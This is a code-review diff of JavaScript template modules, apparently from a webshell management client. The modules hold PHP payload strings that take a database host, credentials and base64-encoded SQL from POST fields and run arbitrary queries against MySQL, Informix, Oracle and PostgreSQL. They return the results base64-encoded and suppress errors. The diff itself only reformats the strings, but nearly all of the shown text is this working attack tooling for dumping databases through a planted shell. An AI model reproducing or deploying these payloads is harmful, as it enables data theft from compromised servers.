_: `$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$T=(strlen($usr)>0)?@ifx_connect($hst,$usr,$pwd):@ifx_connect($hst);$q=@ifx_query("SELECT username FROM SYSUSERS WHERE usertype='D' ORDER BY username",$T);echo("informix".chr(9));while($rs=@ifx_fetch_row($q)){echo(trim($rs[username]).chr(9));}@ifx_close($T);`,
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}'
},
// 显示数据库所有表
show_tables: {
_:
`$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];$T=(strlen($usr)>0)?@ifx_connect($hst,$usr,$pwd):@ifx_connect($hst);$q=@ifx_query("SELECT tabname FROM systables where owner='{$dbn}' and tabtype='T' ORDER BY tabname",$T);while($rs=@ifx_fetch_row($q)){echo(trim($rs[tabname]).chr(9));}@ifx_close($T);`,
_: `$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];$T=(strlen($usr)>0)?@ifx_connect($hst,$usr,$pwd):@ifx_connect($hst);$q=@ifx_query("SELECT tabname FROM systables where owner='{$dbn}' and tabtype='T' ORDER BY tabname",$T);while($rs=@ifx_fetch_row($q)){echo(trim($rs[tabname]).chr(9));}@ifx_close($T);`,
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}',
......@@ -23,8 +21,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
},
// 显示表字段
show_columns: {
_:
`$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];$T=(strlen($usr)>0)?@ifx_connect($hst,$usr,$pwd):@ifx_connect($hst);$q=@ifx_query("SELECT tabname FROM systables where owner='{$dbn}' and tabtype='T' ORDER BY tabname",$T);while($rs=@ifx_fetch_row($q)){echo(trim($rs[tabname]).chr(9));}@ifx_close($T);`,
_: `$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];$T=(strlen($usr)>0)?@ifx_connect($hst,$usr,$pwd):@ifx_connect($hst);$q=@ifx_query("SELECT tabname FROM systables where owner='{$dbn}' and tabtype='T' ORDER BY tabname",$T);while($rs=@ifx_fetch_row($q)){echo(trim($rs[tabname]).chr(9));}@ifx_close($T);`,
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}',
......@@ -32,8 +29,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
},
// 执行SQL语句
query: {
_:
`$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];$sql=base64_decode($_POST["${arg5}"]);$T=(strlen($usr)>0)?@ifx_connect($hst,$usr,$pwd):@ifx_connect($hst);$q=@ifx_query($sql,$T);$i=0;while($rs=@ifx_fetch_row($q)){if($i==0){for(reset($rs);$f=key($rs);next($rs)){echo($f."\t|\t");}echo("\r\n");}for(reset($rs);$f=key($rs);next($rs)){echo(base64_encode(trim($rs[$f])));echo("\t|\t");}echo("\r\n");$i++;}@ifx_close($T);`,
_: `$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];$sql=base64_decode($_POST["${arg5}"]);$T=(strlen($usr)>0)?@ifx_connect($hst,$usr,$pwd):@ifx_connect($hst);$q=@ifx_query($sql,$T);$i=0;while($rs=@ifx_fetch_row($q)){if($i==0){for(reset($rs);$f=key($rs);next($rs)){echo($f."\t|\t");}echo("\r\n");}for(reset($rs);$f=key($rs);next($rs)){echo(base64_encode(trim($rs[$f])));echo("\t|\t");}echo("\r\n");$i++;}@ifx_close($T);`,
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}',
......
......@@ -6,8 +6,7 @@
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库
show_databases: {
_:
`$m=get_magic_quotes_gpc();
_: `$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
......@@ -24,8 +23,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
},
// 显示数据库所有表
show_tables: {
_:
`$m=get_magic_quotes_gpc();
_: `$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
......@@ -45,8 +43,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
},
// 显示表字段
show_columns: {
_:
`$m=get_magic_quotes_gpc();
_: `$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
......@@ -68,8 +65,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
},
// 执行SQL语句
query: {
_:
`$m=get_magic_quotes_gpc();
_: `$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
......
......@@ -6,16 +6,14 @@
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库
show_databases: {
_:
`$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$T=@mysql_connect($hst,$usr,$pwd);$q=@mysql_query("SHOW DATABASES");while($rs=@mysql_fetch_row($q)){echo(trim($rs[0]).chr(9));}@mysql_close($T);`,
_: `$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$T=@mysql_connect($hst,$usr,$pwd);$q=@mysql_query("SHOW DATABASES");while($rs=@mysql_fetch_row($q)){echo(trim($rs[0]).chr(9));}@mysql_close($T);`,
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}'
},
// 显示数据库所有表
show_tables: {
_:
`$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];$T=@mysql_connect($hst,$usr,$pwd);$q=@mysql_query("SHOW TABLES FROM \`{$dbn}\`");while($rs=@mysql_fetch_row($q)){echo(trim($rs[0]).chr(9));}@mysql_close($T);`,
_: `$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];$T=@mysql_connect($hst,$usr,$pwd);$q=@mysql_query("SHOW TABLES FROM \`{$dbn}\`");while($rs=@mysql_fetch_row($q)){echo(trim($rs[0]).chr(9));}@mysql_close($T);`,
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}',
......@@ -23,8 +21,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
},
// 显示表字段
show_columns: {
_:
`$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];$tab=$m?stripslashes($_POST["${arg5}"]):$_POST["${arg5}"];$T=@mysql_connect($hst,$usr,$pwd);@mysql_select_db( $dbn, $T);$q=@mysql_query("SHOW COLUMNS FROM \`{$tab}\`");while($rs=@mysql_fetch_row($q)){echo(trim($rs[0])." (".$rs[1].")".chr(9));}@mysql_close($T);`,
_: `$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];$tab=$m?stripslashes($_POST["${arg5}"]):$_POST["${arg5}"];$T=@mysql_connect($hst,$usr,$pwd);@mysql_select_db( $dbn, $T);$q=@mysql_query("SHOW COLUMNS FROM \`{$tab}\`");while($rs=@mysql_fetch_row($q)){echo(trim($rs[0])." (".$rs[1].")".chr(9));}@mysql_close($T);`,
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}',
......@@ -33,8 +30,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
},
// 执行SQL语句
query: {
_:
`$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];$sql=base64_decode($_POST["${arg5}"]);$T=@mysql_connect($hst,$usr,$pwd);@mysql_query("SET NAMES $_POST[${arg6}]");@mysql_select_db($dbn, $T);$q=@mysql_query($sql);if(is_bool($q)){echo("Status\t|\t\r\n".($q?"VHJ1ZQ==":"RmFsc2U=")."\t|\t\r\n");}else{$i=0;while($col=@mysql_fetch_field($q)){echo($col->name."\t|\t");$i++;}echo("\r\n");while($rs=@mysql_fetch_row($q)){for($c=0;$c<$i;$c++){echo(base64_encode(trim($rs[$c])));echo("\t|\t");}echo("\r\n");}}@mysql_close($T);`,
_: `$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];$sql=base64_decode($_POST["${arg5}"]);$T=@mysql_connect($hst,$usr,$pwd);@mysql_query("SET NAMES $_POST[${arg6}]");@mysql_select_db($dbn, $T);$q=@mysql_query($sql);if(is_bool($q)){echo("Status\t|\t\r\n".($q?"VHJ1ZQ==":"RmFsc2U=")."\t|\t\r\n");}else{$i=0;while($col=@mysql_fetch_field($q)){echo($col->name."\t|\t");$i++;}echo("\r\n");while($rs=@mysql_fetch_row($q)){for($c=0;$c<$i;$c++){echo(base64_encode(trim($rs[$c])));echo("\t|\t");}echo("\r\n");}}@mysql_close($T);`,
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}',
......
......@@ -6,8 +6,7 @@
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库
show_databases: {
_:
`$m=get_magic_quotes_gpc();
_: `$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
......@@ -25,8 +24,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
},
// 显示数据库所有表
show_tables: {
_:
`$m=get_magic_quotes_gpc();
_: `$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
......@@ -46,8 +44,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
},
// 显示表字段
show_columns: {
_:
`$m=get_magic_quotes_gpc();
_: `$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
......@@ -70,8 +67,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
},
// 执行SQL语句
query: {
_:
`$m=get_magic_quotes_gpc();
_: `$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
......
......@@ -6,16 +6,14 @@
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库
show_databases: {
_:
`$m=get_magic_quotes_gpc();$sid=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$H=@Ora_Logon("\${usr}/\${pwd}@\${sid}","");if(!$H){echo("ERROR:// Login Failed!");}else{$T=@ora_open($H);@ora_commitoff($H);$q=@ora_parse($T,"SELECT USERNAME FROM ALL_USERS ORDER BY 1");if(ora_exec($T)){while(ora_fetch($T)){echo(trim(ora_getcolumn($T,0)).chr(9));}}@ora_close($T);};`,
_: `$m=get_magic_quotes_gpc();$sid=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$H=@Ora_Logon("\${usr}/\${pwd}@\${sid}","");if(!$H){echo("ERROR:// Login Failed!");}else{$T=@ora_open($H);@ora_commitoff($H);$q=@ora_parse($T,"SELECT USERNAME FROM ALL_USERS ORDER BY 1");if(ora_exec($T)){while(ora_fetch($T)){echo(trim(ora_getcolumn($T,0)).chr(9));}}@ora_close($T);};`,
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}'
},
// 显示数据库所有表
show_tables: {
_:
`$m=get_magic_quotes_gpc();$sid=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];$H=@ora_plogon("{$usr}@{$sid}","{$pwd}");if(!$H){echo("ERROR:// Login Failed!");}else{$T=@ora_open($H);@ora_commitoff($H);$q=@ora_parse($T,"SELECT TABLE_NAME FROM (SELECT TABLE_NAME FROM ALL_TABLES WHERE OWNER='{$dbn}' ORDER BY 1)");if(ora_exec($T)){while(ora_fetch($T)){echo(trim(ora_getcolumn($T,0)).chr(9));}}@ora_close($T);};`,
_: `$m=get_magic_quotes_gpc();$sid=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];$H=@ora_plogon("{$usr}@{$sid}","{$pwd}");if(!$H){echo("ERROR:// Login Failed!");}else{$T=@ora_open($H);@ora_commitoff($H);$q=@ora_parse($T,"SELECT TABLE_NAME FROM (SELECT TABLE_NAME FROM ALL_TABLES WHERE OWNER='{$dbn}' ORDER BY 1)");if(ora_exec($T)){while(ora_fetch($T)){echo(trim(ora_getcolumn($T,0)).chr(9));}}@ora_close($T);};`,
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}',
......@@ -23,8 +21,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
},
// 显示表字段
show_columns: {
_:
`$m=get_magic_quotes_gpc();$sid=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$tab=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];$H=@ora_plogon("{$usr}@{$sid}","{$pwd}");if(!$H){echo("ERROR:// Login Failed!");}else{$T=@ora_open($H);@ora_commitoff($H);$q=@ora_parse($T,"SELECT COLUMN_NAME,DATA_TYPE FROM ALL_TAB_COLUMNS WHERE TABLE_NAME='{$tab}' ORDER BY COLUMN_ID");if(ora_exec($T)){while(ora_fetch($T)){echo(trim(ora_getcolumn($T,0))." (".ora_getcolumn($T,1).")".chr(9));}}@ora_close($T);};`,
_: `$m=get_magic_quotes_gpc();$sid=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$tab=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];$H=@ora_plogon("{$usr}@{$sid}","{$pwd}");if(!$H){echo("ERROR:// Login Failed!");}else{$T=@ora_open($H);@ora_commitoff($H);$q=@ora_parse($T,"SELECT COLUMN_NAME,DATA_TYPE FROM ALL_TAB_COLUMNS WHERE TABLE_NAME='{$tab}' ORDER BY COLUMN_ID");if(ora_exec($T)){while(ora_fetch($T)){echo(trim(ora_getcolumn($T,0))." (".ora_getcolumn($T,1).")".chr(9));}}@ora_close($T);};`,
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}',
......@@ -32,8 +29,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
},
// 执行SQL语句
query: {
_:
`$m=get_magic_quotes_gpc();$sid=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];$sql=base64_decode($_POST["${arg5}"]);$H=@ora_plogon("{$usr}@{$sid}","{$pwd}");if(!$H){echo("ERROR:// Login Failed!");}else{$T=@ora_open($H);@ora_commitoff($H);$q=@ora_parse($T,"{$sql}");$R=ora_exec($T);if($R){$n=ora_numcols($T);for($i=0;$i<$n;$i++){echo(Ora_ColumnName($T,$i)."\t|\t");}echo("\r\n");while(ora_fetch($T)){for($i=0;$i<$n;$i++){echo(base64_encode(trim(ora_getcolumn($T,$i))));echo("\t|\t");}echo("\r\n");}}else{echo("ErrMsg\t|\t\r\n");}@ora_close($T);};`,
_: `$m=get_magic_quotes_gpc();$sid=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];$sql=base64_decode($_POST["${arg5}"]);$H=@ora_plogon("{$usr}@{$sid}","{$pwd}");if(!$H){echo("ERROR:// Login Failed!");}else{$T=@ora_open($H);@ora_commitoff($H);$q=@ora_parse($T,"{$sql}");$R=ora_exec($T);if($R){$n=ora_numcols($T);for($i=0;$i<$n;$i++){echo(Ora_ColumnName($T,$i)."\t|\t");}echo("\r\n");while(ora_fetch($T)){for($i=0;$i<$n;$i++){echo(base64_encode(trim(ora_getcolumn($T,$i))));echo("\t|\t");}echo("\r\n");}}else{echo("ErrMsg\t|\t\r\n");}@ora_close($T);};`,
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}',
......
/**
* 数据库管理模板::oracle oci8 驱动
* i 数据分隔符号 => \t|\t
*
*
* session_mode: OCI_DEFAULT 0 OCI_SYSOPER 4 OCI_SYSDBA 2
*
*
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库
show_databases: {
_:
`$m=get_magic_quotes_gpc();
_: `$m=get_magic_quotes_gpc();
$sid=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
......@@ -42,8 +41,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
},
// 显示数据库所有表
show_tables: {
_:
`$m=get_magic_quotes_gpc();
_: `$m=get_magic_quotes_gpc();
$sid=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
......@@ -84,8 +82,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
},
// 显示表字段
show_columns: {
_:
`$m=get_magic_quotes_gpc();
_: `$m=get_magic_quotes_gpc();
$sid=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
......@@ -128,8 +125,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
},
// 执行SQL语句
query: {
_:
`$m=get_magic_quotes_gpc();
_: `$m=get_magic_quotes_gpc();
$sid=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
......@@ -176,6 +172,6 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
[arg3]: '#{passwd}',
[arg4]: '#{db}',
[arg5]: '#{base64::sql}',
[arg6]: '#{encode}',
[arg6]: '#{encode}'
}
})
......@@ -6,8 +6,7 @@
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库
show_databases: {
_:
`$m=get_magic_quotes_gpc();
_: `$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
......@@ -38,15 +37,14 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
@pg_free_result($q);
}
@pg_close($T);
}`.replace(/\n\s+/g,''),
}`.replace(/\n\s+/g, ''),
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}'
},
// 显示数据库所有表
show_tables: {
_:
`$m=get_magic_quotes_gpc();
_: `$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
......@@ -79,7 +77,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
@pg_free_result($q);
}
@pg_close($T);
}`.replace(/\n\s+/g,''),
}`.replace(/\n\s+/g, ''),
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}',
......@@ -87,8 +85,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
},
// 显示表字段
show_columns: {
_:
`$m=get_magic_quotes_gpc();
_: `$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
......@@ -123,7 +120,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
@pg_free_result($q);
}
@pg_close($T);
}`.replace(/\n\s+/g,''),
}`.replace(/\n\s+/g, ''),
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}',
......@@ -132,8 +129,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
},
// 执行SQL语句
query: {
_:
`$m=get_magic_quotes_gpc();
_: `$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
......
......@@ -7,8 +7,7 @@
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库
show_databases: {
_:
`$m=get_magic_quotes_gpc();
_: `$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
......@@ -26,8 +25,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
},
// 显示数据库所有表
show_tables: {
_:
`$m=get_magic_quotes_gpc();
_: `$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
......@@ -47,8 +45,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
},
// 显示表字段
show_columns: {
_:
`$m=get_magic_quotes_gpc();
_: `$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
......@@ -70,8 +67,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
},
// 执行SQL语句
query: {
_:
`$m=get_magic_quotes_gpc();
_: `$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
......
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
//
//
// 数据库驱动::ASPX
//
//
module.exports = require('../asp/index');
\ No newline at end of file
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment